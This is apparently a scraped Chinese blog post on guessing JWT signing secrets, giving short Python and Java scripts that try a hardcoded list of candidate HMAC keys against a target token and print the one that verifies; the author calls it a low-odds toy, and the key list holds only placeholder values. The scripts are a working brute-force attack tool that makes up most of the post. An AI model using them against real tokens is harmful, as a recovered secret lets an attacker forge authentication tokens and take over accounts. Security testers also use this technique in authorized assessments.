当前位置:网站首页>猜JWT关键字
猜JWT关键字
2022-07-24 17:59:00 【划水小将军】
- 确定加密方式
- 使用的包(依赖)[authlib.jose,auth0.jwt]
- 破解sercet
写着玩的,没有什么价值,成功就和彩票一样,记录一下;
就是靠猜,哈哈哈~~
python
''' @Author: Jeff.zheng @Date : 2022/4/22 @Desc : '''
from authlib.jose import jwt
def bruteforce(token):
#这里是秘钥,可以挨着试,成功极低
easykeys = ["sercet1", "sercet2", "sercet3", "sercet5"]
for easykey in easykeys:
try:
jwt.decode(token.encode(encoding='utf-8'), easykey)
print("秘钥:", easykey)
except Exception as e:
pass
print("没有匹配到秘钥")
if __name__ == '__main__':
token = "token"
bruteforce(token)
java代码
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
/** * @author: Jeff.zheng * @description: * @date: 2022/7/20 15:02 * @version: 1.0.0 */
public class TestToken {
public static String token ="token";//这里放要破解的token
public static void main(String[] args) {
String [] mykeys = {
"sercet1","sercet2","sercet3","sercet4" };//这里放可能的秘钥
for (String mykey :mykeys ) {
if(forceToken(mykey)){
System.out.println("成功,key=》"+mykey);//成功的key
}else {
System.out.println("失败,key=》"+mykey);//失败的key
}
}
}
static Boolean forceToken(String secrete){
try {
JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256(secrete)).build();
DecodedJWT verify = null;
verify = jwtVerifier.verify(token);
return true;
}catch (Exception e){
return false;
}
}
}
边栏推荐
- 213. Looting II - Dynamic Planning
- int8 & int8,你栽过这样的跟头吗?
- 使用Prometheus+Grafana监控MySQL性能指标
- Alibaba 1688 keyword search product API usage display
- Use Matplotlib to simulate linear regression
- What are the pitfalls from single architecture to distributed architecture?
- Get the data of Tongcheng (elong) Hotel
- es(1)
- Huawei machine test - topic core test point
- 0701~ holiday summary
猜你喜欢

快速完成intelij idea的单元测试JUnit4设置

Step by step introduction to the development framework based on sqlsugar (12) -- split the content of the page module into components to realize the division and rule processing

Tensorflow introductory tutorial (37) -- DC Vnet

Use Matplotlib to simulate linear regression

T245982 "kdoi-01" drunken flower Yin

C语言自定义类型 — 枚举

redis集群的三种方式

【网络安全】网站中间件存在的解析漏洞

继承与派生

SSM framework learning
随机推荐
Shardingsphere database read / write separation
Brats18 - Multimodal MR image brain tumor segmentation challenge continued
0612~quartz timer frame
Development Series III of GaN (lapgan, srgan)
C语言实现静态版本的通讯录
Section 10 cache breakdown follow Daewoo redis ------- directory post
如何向 google colab 快速上传文件
es(1)
Dry goods | three sub domain name collection tools worth collecting
Growth of operation and maintenance Xiaobai - week 8 of Architecture
es(1)
Goodbye Navicat! This open source database management tool has a cooler interface!
Use of jumpserver
ROC and AUC details of the recommended system
What are the pitfalls from single architecture to distributed architecture?
Class bytecode file
com.mysql.cj.jdbc.exceptions. MySQLTransactionRollbackException: Deadlock found when trying to get lo
0611~ self study class
0616 end of Project II ~ ~ general summary
《STL源码剖析》应该怎样读?